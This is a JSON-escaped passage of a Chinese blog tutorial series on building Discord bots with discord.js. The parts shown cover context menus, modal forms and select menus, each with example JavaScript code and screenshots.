\u003cstrong\u003eUserContextMenu\u003c/strong\u003e。\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4\u003e对于 MessageContextMenu\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003eAndroid 和 iOS APP 端:长按频道内某条消息,呼出消息选项浮页。在 \u003ccode\u003eAPP\u003c/code\u003e 选项卡内,有着所有拥有该频道访问权的\u003cstrong\u003e所有\u003c/strong\u003e机器人的 \u003cstrong\u003eMessageContextMenu\u003c/strong\u003e。\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003ePC 端和浏览器端:鼠标右击频道里的一条消息,在 \u003ccode\u003eAPP\u003c/code\u003e 选项卡里,有着所有拥有该频道访问权的\u003cstrong\u003e所有\u003c/strong\u003e机器人的 \u003cstrong\u003eMessageContextMenu\u003c/strong\u003e。\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e修改 \u003ccode\u003eevents/interactionCreate.js\u003c/code\u003e\u003c/h3\u003e\n\u003cp\u003e这次我们要修改的变多了,为了方便,你可以来我的 Github 代码仓库查看详细变动:\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/wtflmao/discord_bot_example/commit/945aa14a72637436a73c974775dfb0411b7a4ec7\"\u003ehttps://github.com/wtflmao/discord_bot_example/commit/945aa14a72637436a73c974775dfb0411b7a4ec7\u003c/a\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003e不要删除\u003c/strong\u003e \u003ccode\u003eisChatInputCommand()\u003c/code\u003e 分支的一行代码:\u003ccode\u003eawait command.execute(interaction);\u003c/code\u003e。(commmit 里我误删除了,我的锅)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003e不要删除\u003c/strong\u003e \u003ccode\u003eisAutocomplete()\u003c/code\u003e 分支的一行代码:\u003ccode\u003eawait command.execute(interaction);\u003c/code\u003e。(commmit 里我误删除了,我的锅)\u003c/li\u003e\n\u003cli\u003e在最后一个 else 分支前,\u003cstrong\u003e添加\u003c/strong\u003e一个 else if 分支:\u003c/li\u003e\n\u003c/ul\u003e\n\u003cpre\u003e\u003ccode\u003e\telse if (interaction.isContextMenuCommand()) {\n\t\tif (interaction.isUserContextMenuCommand()) {\n\t\t\tconsole.log(\"an APP command(user)!\");\n\t\t} else if (interaction.isMessageContextMenuCommand()) {\n\t\t\tconsole.log(\"an APP command(message)!\");\n\t\t} else {\n\t\t\t// not an APP command\n\t\t}\n\t\tconst command = interaction.client.commands.get(interaction.commandName);\n\t\tawait command.execute(interaction);\n\t}\n\u003c/code\u003e\u003c/pre\u003e\n\u003ch3\u003e新建一个 ContextMenu\u003c/h3\u003e\n\u003cpre\u003e\u003ccode\u003econst { ContextMenuCommandBuilder, ApplicationCommandType } = require('discord.js');\n\nmodule.exports = {\n data: new ContextMenuCommandBuilder()\n\t // 设置外显名称\n .setName('Boom')\n // 设置上下文菜单的类型\n // ContextMenuCommandsBuilder.setType 有两种有效枚举值:\n // ApplicationCommandType.Message 和 ApplicationCommandType.User\n .setType(ApplicationCommandType.Message),\n};\n\u003c/code\u003e\u003c/pre\u003e\n\u003ch3\u003e举例:一个重复消息内容的 MessageContextMenu\u003c/h3\u003e\n\u003cp\u003e\u003ccode\u003ecommands/contextMenus/contextBoom.js\u003c/code\u003e:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003econst { ContextMenuCommandBuilder, ApplicationCommandType } = require('discord.js');\n\nmodule.exports = {\n data: new ContextMenuCommandBuilder()\n\t // 设置外显名称\n .setName('Boom')\n // 设置上下文菜单的类型\n // ContextMenuCommandsBuilder.setType 有两种有效枚举值:\n // ApplicationCommandType.Message 和 ApplicationCommandType.User\n .setType(ApplicationCommandType.Message),\n async execute(interaction) {\n // 这里 interaction 的类型是 ContextMenuInteraction,同时,也是 UserContextMenuInteraction\n // UserContextMenuInteraction 有一个属性叫 \".targetId\", 它是此交互目标的 Discord snowflake id,这里(Message菜单)的话,指的是 Message 的 id\n // 我们用 interaction.channel.messages.fetch(interaction.targetId)) 来凭借消息 id 来获取消息本体\n // 然后通过抓取来的消息本体,获取消息的内容(content),存到 targetMsgContent\n const targetMsgContent = (await interaction.channel.messages.fetch(interaction.targetId)).content;\n await interaction.reply(`Boom! ${targetMsgContent}`);\n },\n};\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e对消息 \"owowowowowowo amogus\" 使用 Boom:\n\u003cimg src=\"https://img2022.cnblogs.com/blog/2455224/202211/2455224-20221124234847937-1692039601.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg src=\"https://img2022.cnblogs.com/blog/2455224/202211/2455224-20221124235121946-87066396.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003ch3\u003e举例:一个显示指定用户注册时间的 UserContextMenu\u003c/h3\u003e\n\u003cp\u003e\u003ccode\u003ecommands/contextMenus/conetxtUserInfo.js\u003c/code\u003e:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003econst { ContextMenuCommandBuilder, ApplicationCommandType } = require('discord.js');\n// DISCORD_EPOCH 是个常数, 指的是 2015 年的第一毫秒,是以毫秒为单位的 UNIX 时间戳\nconst DISCORD_EPOCH = 1420070400000;\n\nmodule.exports = {\n data: new ContextMenuCommandBuilder()\n\t // 设置外显名称\n .setName('User Information')\n // 设置上下文菜单的类型\n // ContextMenuCommandsBuilder.setType 有两种有效枚举值:\n // ApplicationCommandType.Message 和 ApplicationCommandType.User\n .setType(ApplicationCommandType.User),\n async execute(interaction) {\n // Discord snowflake 类型值是一个 64 位的整数。在实践中,我们用字符串来存储。\n // 我们把 snowflake 类型的 interaction.targetId 强制类型转换成 JS 内置的 BigInt 类型\n // Discord snowflake 的高 42 位叫 “相对时间戳”\n // “相对” 指的是自 DISCORD_EPOCH 以来,过去了多少毫秒了\n // 64 位中,剩余的低 22 位和我们的时间戳无关,丢弃就好\n const milliseconds = BigInt(interaction.targetId) \u0026gt;\u0026gt; BigInt(22);\n // 把 DISCORD EPOCH 和 “相对时间戳” 相加,就得到真正的 UNIX 时间戳,以毫秒为单位\n // 再把这个时间戳转换成本地时区的人类可读的时间字符串\n let date = new Date(Number(milliseconds) + DISCORD_EPOCH)\n await interaction.reply(`${interaction.targetUser.username}#${interaction.targetUser.discriminator} @ ${date}`);\n },\n};\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e我们对机器人自己使用 UserInfo 效果图:\n\u003cimg src=\"https://img2022.cnblogs.com/blog/2455224/202211/2455224-20221124235149626-1654633347.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg src=\"https://img2022.cnblogs.com/blog/2455224/202211/2455224-20221124234718832-1759398084.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003ch3\u003e例子:把 Modal 和 ContextMenu 柔到一起:反馈功能\u003c/h3\u003e\n\u003cp\u003e下面的代码就是上面两段程序的糅合,注释解释的很清晰,故看代码注释就行。\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003ecommands/contextMenus/contextFeedback.js\u003c/code\u003e:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003econst { ContextMenuCommandBuilder, ApplicationCommandType, ModalBuilder, TextInputBuilder, TextInputStyle, ActionRowBuilder } = require('discord.js');\n\nmodule.exports = {\n data: new ContextMenuCommandBuilder()\n .setName('Bot Feedback')\n // There are two available options for the .type of ContextMenuCommandsBuilder\n // ApplicationCommandType.Message and ApplicationCommandType.User\n .setType(ApplicationCommandType.User),\n async execute(interaction) {\n\n // We use interaction.client.users.cache.find() to get a User by its id\n const botInstance = interaction.client.users.cache.find(user =\u0026gt; user.id === interaction.applicationId);\n\n // Create a new Modal\n const modal = new ModalBuilder()\n .setCustomId('feedbackModal')\n // username#discriminator be like: Elon#0001\n .setTitle(`Bot Feedback for ${botInstance.username}#${botInstance.discriminator}`);\n\n // Add components to modal...\n // Create the text input components\n const starsInput = new TextInputBuilder()\n .setCustomId('starsInput')\n // The label is the prompt the user sees for this input\n .setLabel(\"Please rate us from 1 star to 5 stars!\")\n // Short means only a single line of text\n // TextInputStyle only have two members: .Short and .Paragraph\n .setStyle(TextInputStyle.Short)\n // Set required\n .setRequired(true)\n .setMinLength(1)\n .setMaxLength(1);\n\n const feedbackInput = new TextInputBuilder()\n .setCustomId('feedbackInput')\n .setLabel(\"What's your feedback?\")\n // Paragraph means multiple lines of text.\n .setStyle(TextInputStyle.Paragraph)\n // Set required\n .setRequired(false);\n\n // An action row only holds one text input,\n // so you need one action row per text input.\n const firstActionRow = new ActionRowBuilder().addComponents(starsInput);\n const secondActionRow = new ActionRowBuilder().addComponents(feedbackInput);\n\n // Add inputs to the modal\n modal.addComponents(firstActionRow, secondActionRow);\n\n // Show the modal to the user\n // Showing a modal must be the first response to an interaction.\n // You cannot defer() or deferUpdate() then show a modal later.\n await interaction.showModal(modal);\n\n\n // Get the ModalSubmitInteraction that is emitted once the User submits the Modal\n const submitted = await interaction.awaitModalSubmit({\n // Timeout after a minute of not receiving any valid Modals\n time: 600 * 1000,\n // Make sure we only accept Modals from the User who sent the original Interaction we're responding to\n filter: i =\u0026gt; {\n if (i.user.id === interaction.user.id \u0026amp;\u0026amp; i.customId === 'feedbackModal') {\n return true;\n }},\n }).catch(error =\u0026gt; {\n // Catch any Errors that are thrown (e.g. if the awaitModalSubmit times out)\n console.error(error)\n return null\n })\n\n // If we got our Modal, we can do whatever we want with it down here.\n // Remember that the Modal can have multiple Action Rows, but each Action Row can have only one TextInputComponent.\n // You can use the ModalSubmitInteraction.fields helper property to get the value of an input field from its Custom ID.\n if (submitted) {\n // Get the data entered by the user\n const stars = submitted.fields.getTextInputValue('starsInput');\n const feedback = submitted.fields.getTextInputValue('feedbackInput');\n // We use console.log() to display the feedbacks\n console.log(`FeedBack {@${interaction.user.id}, ${stars}, ${feedback}}`);\n // Acknowledge the user that the feedback submitted successfully\n await submitted.reply({\n content: `We've got your feedback. Thanks for your time and honesty.`,\n // We don't want other people see somebody sent a feedback, so set ephemeral field to true\n ephemeral: true\n })\n }\n },\n};\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e图:\n\u003cimg src=\"https://img2022.cnblogs.com/blog/2455224/202211/2455224-20221124235149626-1654633347.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg src=\"https://img2022.cnblogs.com/blog/2455224/202211/2455224-20221124235246130-908300400.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg src=\"https://img2022.cnblogs.com/blog/2455224/202211/2455224-20221124235256218-1399752437.png\" alt=\"image\" /\u003e\u003c/p\u003e\u003chr /\u003e","url":"https://hhzm.win/posts/bot-in-discord-12/"},{"title":"Bot in Discord with discord.js (11)","time":"2022-11-23T00:00:00Z","content":"\u003ch2\u003eChapter 14 - 交互四大组件之:表单 Modal\u003c/h2\u003e\n\u003cp\u003e建议你先学习上上一章的按钮,再来学习这章的 Modal,因为上一章已经比较详细地介绍了 MessageComponentCollector,虽然上一章的 MessageComponentCollector 在本章的 Modal 用不了,但是仍具有借鉴意义。\u003c/p\u003e\n\u003ch3\u003e修改 \u003ccode\u003eevents/interactionCreate.js\u003c/code\u003e\u003c/h3\u003e\n\u003cp\u003e在文件的最后那块儿附近,找到最后一个 else,在这个 else 上面插入一种新情况,用于 Modal:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003eelse if (interaction.isChatInputCommand()) {\n\tconsole.log(\"a modal!\");\n}\n\u003c/code\u003e\u003c/pre\u003e\n\u003ch3\u003eModal\u003c/h3\u003e\n\u003cp\u003eModal 可以让你的机器人弹出一个表单,用户可以通过这个表单为你提供格式化的输入。\u003c/p\u003e\n\u003cp\u003e与消息组件(Message Component)不同,Modal 本身并不是严格意义上的组件。它们是用于响应交互的回调结构。\u003c/p\u003e\n\u003cp\u003e每个 ModalBuilder 最多可以有五个 ActionRowBuilder,一个 ActionRowBuilder 中最多可以有一个 TextInputBuilder。目前,你不能在 Modal row 中使用 SelectMenuBuilders 或 ButtonBuilders。\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e提前说明一点,\u003ccode\u003eModalSubmitInteraction\u003c/code\u003e 不属于 \u003ccode\u003eMessageComponentInteraction\u003c/code\u003e,而 \u003ccode\u003eButtonInteraction\u003c/code\u003e 和 \u003ccode\u003eSelectMenuInteraction\u003c/code\u003e 属于 \u003ccode\u003eMessageComponentInteraction\u003c/code\u003e,这一点可能会让你感到奇怪。\u003ccode\u003eModalSubmitInteraction\u003c/code\u003e 和 \u003ccode\u003eMessageComponentInteraction\u003c/code\u003e 都直接继承自 \u003ccode\u003eBaseInteraction\u003c/code\u003e,而区别是前者(Modal那个)还实现(implement)了 \u003ccode\u003eInteractionResponses\u003c/code\u003e。初学者在搞 Modal 的收集器时,很容易按照之前搞按钮和下拉菜单的经验,把收集器代码搬过来改一下就用,然鹅这是错的。\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003e创建一个 Modal\u003c/h3\u003e\n\u003cp\u003e我们至少需要用到 discord.js 的 ModalBuilder 来建立一个 Modal 值。\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003econst { Events, ModalBuilder } = require('discord.js');\n\nconst modal = new ModalBuilder()\n\t.setCustomId('myModal')\n\t.setTitle('My Modal');\n\n\t// TODO: Add components to modal...\n};\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e需要指出的是,customId 是一个由程序员指定的长度不超过 100 字符的字符串。尽量不要让它们的 customId 与其他交互组件的 customId 重复,从而让 filter 更轻松地工作。\u003c/p\u003e\n\u003cp\u003e目前我们至少建立了一个空表单,什么输入域都没有指定。\u003c/p\u003e\n\u003cp\u003e下面,我们将建立一个完整的 Modal,具备完整的展示 Modal 和收集数据并响应功能。\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003ecommands/modals/modal.js\u003c/code\u003e\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003econst { ActionRowBuilder, ModalBuilder, SlashCommandBuilder, TextInputBuilder, TextInputStyle } = require('discord.js');\n\nmodule.exports = {\n data: new SlashCommandBuilder()\n .setName('modal')\n .setDescription('Replies with a pop-up form!'),\n async execute(interaction) {\n\n const modal = new ModalBuilder()\n .setCustomId('myModal')\n .setTitle('My Modal');\n\n // 向交互组件里添加一个 Modal\n // 创建文本输入域\n const favoriteColorInput = new TextInputBuilder()\n .setCustomId('favoriteColorInput')\n // Label 是用户看到的有关该域 的提示语,用来告诉用户这里是该填什么的\n .setLabel(\"What's your favorite color?\")\n // \"Short\" 意味着该域接受一行文本输入\n // TextInputStyle 只有两种值: .Short 和 .Paragraph\n .setStyle(TextInputStyle.Short)\n // .SetRequired(true) 意味着该文本域必填\n .setRequired(true)\n // 为该文本域设置一个占位符,占位符不是预先写好的值\n .setPlaceholder(\"Blurple\");\n\n const hobbiesInput = new TextInputBuilder()\n .setCustomId('hobbiesInput')\n .setLabel(\"What's some of your favorite hobbies?\")\n // \"Paragraph\" 意味着该域是个大文本框,接受多行输入\n .setStyle(TextInputStyle.Paragraph)\n // 设置该域必填\n .setRequired(false)\n // 为该域设置一个预先写好的值,不是占位符\n .setValue(\"Touching grass outside occasionally.\")\n\n const numberInput = new TextInputBuilder()\n .setCustomId('numberInput')\n .setLabel (\"Which year did you first use Discord?\")\n .setStyle(TextInputStyle.Short)\n .setRequired(true)\n .setPlaceholder(\"2022\")\n // 设置文本最小长度\n .setMinLength(4)\n // 设置文本最大长度\n .setMaxLength(4);\n\n // 一个 ActionRow 只能拥有一个 TextInput,\n // 所以你需要三个 ActionRow 来维护三个 TextInput\n const firstActionRow = new ActionRowBuilder().addComponents(favoriteColorInput);\n const secondActionRow = new ActionRowBuilder().addComponents(hobbiesInput);\n const thirdActionRow = new ActionRowBuilder().addComponents(numberInput);\n\n // 为表单 Modal 添加三个 ActionRow 组件\n modal.addComponents(firstActionRow, secondActionRow, thirdActionRow);\n\n // 向执行斜杠命令的用户展示 Modal\n // interaction.interaction.showModal(modal) 必须是斜杠命令的第一条回复,而不能是 .reply()\n // 你甚至不能 .defer() 或者 .deferUpdate(),第一条必须是 .showModal()。\n await interaction.showModal(modal);\n\n\n // 一旦用户提交了填写完了的 Modal,我们就抓取这个 ModalSubmitInteraction\n const submitted = await interaction.awaitModalSubmit({\n // 为有效 Modal 的填写设置超时 60000 毫秒,即 60 秒\n time: 60000,\n // 确保我们的 Modal 填写者是最初发起斜杠命令的那个人\n filter: i =\u0026gt; {\n if (i.user.id === interaction.user.id \u0026amp;\u0026amp; i.customId === 'myModal') {\n return true;\n }},\n }).catch(error =\u0026gt; {\n // 捕获任何抛出的 error (e.g. awaitModalSubmit 60 秒后 超时了)\n console.error(error)\n return null\n })\n\n // 只要我们获取到了有效提交的 Modal,我们就能干我们该干的事了\n // 记住,一份 Modal 可以具有多个 ActionRow,而一个 ActionRow 只有一个 TextInputComponent。\n // 你可以使用 ModalSubmitInteraction.fields 再凭借 customId 来获取用户在某个文本域输入的值\n if (submitted) {\n // 提取用户输入的数据\n const favoriteColor = submitted.fields.getTextInputValue('favoriteColorInput');\n const hobbies = submitted.fields.getTextInputValue('hobbiesInput');\n const number = submitted.fields.getTextInputValue('numberInput');\n console.log({ favoriteColor, hobbies, number });\n await submitted.reply({\n content: `Your fav color is ${favoriteColor}, you like ${hobbies}, you claimed that you registered Discord in ${number}.`\n })\n }\n },\n};\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e效果图(第一次执行斜杠命令时):\u003c/p\u003e\n\u003cp\u003e\u003cimg src=\"https://img2022.cnblogs.com/blog/2455224/202211/2455224-20221123184542359-722808485.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg src=\"https://img2022.cnblogs.com/blog/2455224/202211/2455224-20221123184603579-197508538.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003cp\u003e有一点需要说明的是,在本例中,第三个输入域向用户说明了需要输入长度为 4 的年份,正常人可能会输入“2022”、“2021”、“2020”之类的。事实上,“2077”、“abcd” 都是合法的输入,你需要进一步对该域的用户输入进行处理。\u003c/p\u003e\n\u003ch3\u003e对 \u003ccode\u003eModalSubmitInteraction\u003c/code\u003e 的其他操作\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003ereply()\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eeditReply()\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003edeferReply()\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003efetchReply()\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003edeleteReply()\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003efollowUp()\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e上面已经提到过,ModalSubmitInteraction 不属于 MessageComponentInetraction,而属于 ChatInputCommandInteraction。\u003c/p\u003e\n\u003cp\u003e如果如果 Modal 是从 ButtonInteraction 或 SelectMenuInteraction 显示的,它还将还有这些方法:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003eupdate()\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003edeferUpdate()\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\u003chr /\u003e","url":"https://hhzm.win/posts/bot-in-discord-11/"},{"title":"Bot in Discord with discord.js (10)","time":"2022-11-21T00:00:00Z","content":"\u003ch3\u003e注意\u003c/h3\u003e\n\u003cp\u003e本文起,项目已从 Discord.js v14.6.0 更新至 v14.7.1。\u003c/p\u003e\n\u003cp\u003e你可以在项目目录中执行 \u003ccode\u003enpm install discord.js@v14.7.1\u003c/code\u003e 来更新依赖。\u003c/p\u003e\n\u003ch2\u003eChapter 13 - 交互四大组件之:下拉菜单 Select Menu\u003c/h2\u003e\n\u003cp\u003e建议你先学习上一章的按钮,再来学习这章的下拉菜单,因为上一章已经比较详细地介绍了 MessageComponentCollector,这里不会重复介绍。\u003c/p\u003e\n\u003ch3\u003e修改 \u003ccode\u003eevents/interactionCreate.js\u003c/code\u003e\u003c/h3\u003e\n\u003cp\u003e在文件的最后那块儿附近,找到最后一个 else,在这个 else 上面插入一种新情况,用于下拉菜单:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e...\nelse if (interaction.isStringSelectMenu()) {\n\tconsole.log(\"a string select menu!\");\n} else if (interaction.isUserSelectMenu()) {\n\tconsole.log(\"a user select menu!\");\n} else if (interaction.isRoleSelectMenu()) {\n\tconsole.log(\"a role select menu!\");\n} else if (interaction.isChannelSelectMenu()) {\n\tconsole.log(\"a channel select menu!\");\n} else if (interaction.isMentionableSelectMenu()) {\n\tconsole.log(\"a mentionable select menu!\");\n}\n...\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e对应的 commit:\nhttps://github.com/wtflmao/discord_bot_example/commit/f306c472de37580acc14fabfe6d09dca07ff59a6#diff-5ee61780af95f78329f68020bc0a8de616c98b4b416554d60606744cffa51af2\u003c/p\u003e\n\u003ch3\u003e建立一个下拉菜单\u003c/h3\u003e\n\u003cp\u003e下拉菜单(Select Menu)是交互组件(Component)的一种。\u003c/p\u003e\n\u003cp\u003e在新建一个下拉菜单之前,你需要先导入这里用到的 ActionRowBuilder 和 StringSelectMenuBuilder。\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003econst { ActionRowBuilder, StringSelectMenuBuilder } = require('discord.js');\n\nconst row = new ActionRowBuilder()\n .addComponents(\n new StringSelectMenuBuilder()\n .setCustomId('select_1')\n .setPlaceholder('Nothing selected')\n .addOptions(\n {\n label: 'Las Vegas, NV',\n description: 'This is a description',\n value: 'Las_Vegas_NV_US',\n },\n {\n label: 'Denver, CO',\n description: 'This is also a description',\n value: 'Denver_CO_US',\n },\n ),\n );\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e这个下拉菜单长这样:\n\u003cimg src=\"https://img2022.cnblogs.com/blog/2455224/202211/2455224-20221121130819101-1051976461.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003cp\u003e需要指出的是,customId 是一个由程序员指定的长度不超过 100 字符的字符串。尽量不要让它们的 customId 与其他交互组件的 customId 重复,从而让 filter 更轻松地工作。\u003c/p\u003e\n\u003cp\u003e每条消息最多可以有五个 ActionRow,一个 ActionRow 中可以有一个选择菜单。\u003c/p\u003e\n\u003cp\u003e你可以为一条下拉菜单消息指定 \u003ccode\u003eephemeral: true\u003c/code\u003e 和 \u003ccode\u003eembeds: []\u003c/code\u003e 来丰富样式。\u003c/p\u003e\n\u003ch3\u003e如何回复下拉菜单事件:交互事件收集器\u003c/h3\u003e\n\u003cp\u003e建立收集器前,先建立 filter。具体看上一章。不够你也可以直接看下面例子的代码,应该也能看懂。\u003c/p\u003e\n\u003cp\u003e上一章按钮里讲过,你可以在频道 channel 上建立一个 MessageComponentCollector, 也可以选择在 message 上建立 MessageComponentCollector,二者都能完成对某一条交互事件的收集,但是二者的收集范围各有不同。\u003c/p\u003e\n\u003cp\u003e(如果代码上文里有 async 的话,才需要用 await)\u003c/p\u003e\n\u003cp\u003e通过 \u003ccode\u003econst collector = await interaction.channel.createMessageComponentCollector()\u003c/code\u003e 来在 channel 上建立一个消息事件收集器。\u003c/p\u003e\n\u003cp\u003e通过 \u003ccode\u003econst message = await interaction.fetchReply(); const collector = await mesage.createMessageComponentCollector()\u003c/code\u003e 在 bot 最后回复的 message 上建立一个交互组件事件的收集器。\u003c/p\u003e\n\u003cp\u003e具体看代码:\u003ccode\u003ecommmands/menus/selectMenu.js\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003e相关 commit:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003ehttps://github.com/wtflmao/discord_bot_example/commit/a79b1e61d8e3e837a2934577837c8447f6f88777#diff-1184ab849c7784c7807f8c257df3a3190b2a16328a41dcad3754ee0d3ed6d0af\u003c/li\u003e\n\u003cli\u003ehttps://github.com/wtflmao/discord_bot_example/commit/f306c472de37580acc14fabfe6d09dca07ff59a6#diff-1184ab849c7784c7807f8c257df3a3190b2a16328a41dcad3754ee0d3ed6d0af\u003c/li\u003e\n\u003c/ul\u003e\n\u003cpre\u003e\u003ccode\u003econst { ActionRowBuilder, EmbedBuilder, StringSelectMenuBuilder, SlashCommandBuilder } = require('discord.js');\nconst wait = require('node:timers/promises').setTimeout;\n\nmodule.exports = {\n data: new SlashCommandBuilder()\n .setName('selectmenu')\n .setDescription('Replies with a select menu!'),\n async execute(interaction) {\n\n const row = new ActionRowBuilder()\n .addComponents(\n new StringSelectMenuBuilder()\n .setCustomId('select_1')\n .setPlaceholder('Nothing selected')\n .addOptions(\n {\n label: 'Las Vegas, NV',\n description: 'This is a description',\n value: 'Las_Vegas_NV_US',\n },\n {\n label: 'Denver, CO',\n description: 'This is also a description',\n value: 'Denver_CO_US',\n },\n ),\n );\n\n const embed1 = new EmbedBuilder()\n .setColor(0x0099FF)\n .setTitle('Live Weather Report')\n .setURL('https://weather.com/weather/today/l/Las+Vegas+NV?canonicalCityId=8699c391df74aabce6a01ab22e01fd094d01ff77fcc7ef7e314ea4067fbc1066')\n .setDescription(`Las Vegas, NV\\nAs of ${Math.floor(Math.random() * 11) + 1}:${10 + Math.floor(Math.random() * 49)} am PST\\n38°F\\nClear\\nDay ${Math.floor(Math.random() * 10) + 55}°F • Night ${35 - Math.floor(Math.random() * 10)}°F`);\n const embed2 = new EmbedBuilder()\n .setColor(0x0099FF)\n .setTitle('Live Weather Report')\n .setURL('https://weather.com/weather/today/l/3f345b93f02bdea125a122a4798a6b17174a3153bb0f45b4d5238343613d7368')\n .setDescription(`Denver, CO\\nAs of ${Math.floor(Math.random() * 11) + 1}:${10 + Math.floor(Math.random() * 49)} am PST\\n25°F\\nClear\\nDay ${Math.floor(Math.random() * 10) + 47}°F • Night ${25 - Math.floor(Math.random() * 10)}°F`);\n\n await interaction.reply({ content: \"Choose a city to see its weather report:\", components: [row], embeds: [] });\n\n const filter = i =\u0026gt; {\n return interaction.customId === 'select_1' \u0026amp;\u0026amp; i.user.id === interaction.user.id;\n }\n\n const message = await interaction.fetchReply();\n const collector = message.createMessageComponentCollector(\n filter,\n );\n\n collector.on('collect', async i=\u0026gt; {\n await i.update({ content: 'Selected! Syncing the weather data...', components: [], embeds:[] });\n await wait(3750); // wait 3.75 secs to emulate the delay of the network\n const city = Array.from(i.values)[0];\n if (city === 'Las_Vegas_NV_US') {\n await i.editReply({content: \"Here's your weather report!\", embeds: [embed1], components: [row]});\n } else if (city === 'Denver_CO_US') {\n await i.editReply({content: \"Here's your weather report!\", embeds: [embed2], components: [row]});\n }\n });\n },\n};\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e效果图:\n\u003cimg src=\"https://img2022.cnblogs.com/blog/2455224/202211/2455224-20221121130839162-751537786.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg src=\"https://img2022.cnblogs.com/blog/2455224/202211/2455224-20221121130846070-957290113.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg src=\"https://img2022.cnblogs.com/blog/2455224/202211/2455224-20221121130927974-1295632187.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg src=\"https://img2022.cnblogs.com/blog/2455224/202211/2455224-20221121130934003-1189860505.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003ch3\u003e多项选择下拉菜单:\u003c/h3\u003e\n\u003cp\u003e前面的下拉菜单是单选的,如果我们需要多选或者对用户的选择数量进行限制比如1到3项呢?\u003c/p\u003e\n\u003cp\u003e我们可以在建立 SelectMenu 的时候,设置 \u003ccode\u003e.setMinValues()\u003c/code\u003e 和 \u003ccode\u003e.setMaxValues()\u003c/code\u003e 来指导用户的最少选择量和最大选择量。\u003c/p\u003e\n\u003cp\u003e比如 \u003ccode\u003ecommands/menus/multiSelect.js\u003c/code\u003e:\u003c/p\u003e\n\u003cp\u003e相关 commit:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003ehttps://github.com/wtflmao/discord_bot_example/commit/a79b1e61d8e3e837a2934577837c8447f6f88777#diff-69116720e7a64621abca0d97ad15c72efe94d5b08c0fcb2c5f895d121b29034c\u003c/li\u003e\n\u003cli\u003ehttps://github.com/wtflmao/discord_bot_example/commit/f306c472de37580acc14fabfe6d09dca07ff59a6#diff-69116720e7a64621abca0d97ad15c72efe94d5b08c0fcb2c5f895d121b29034c\u003c/li\u003e\n\u003c/ul\u003e\n\u003cpre\u003e\u003ccode\u003econst { ActionRowBuilder, EmbedBuilder, StringSelectMenuBuilder, SlashCommandBuilder } = require('discord.js');\nconst wait = require('node:timers/promises').setTimeout;\n\nmodule.exports = {\n data: new SlashCommandBuilder()\n .setName('multiselect')\n .setDescription('Replies with a multi-select menu!'),\n async execute(interaction) {\n\n const row = new ActionRowBuilder()\n .addComponents(\n new StringSelectMenuBuilder()\n .setCustomId('select_1')\n .setPlaceholder('Nothing selected')\n // here we demand our friendly user to choose more than 2 options while less than 4 options\n .setMinValues(2)\n .setMaxValues(4)\n .addOptions(\n {\n label: 'Las Vegas, NV',\n description: 'This is a description',\n value: 'Las_Vegas_NV_US',\n },\n {\n label: 'Denver, CO',\n description: 'This is also a description',\n value: 'Denver_CO_US',\n },\n {\n label: 'Houston, TX',\n description: 'This is also a description',\n value: 'Houston_TX_US',\n },\n {\n label: 'Seattle, WA',\n description: 'This is also a description',\n value: 'Seattle_WA_US',\n },\n {\n label: 'Salt Lake City, UT',\n description: 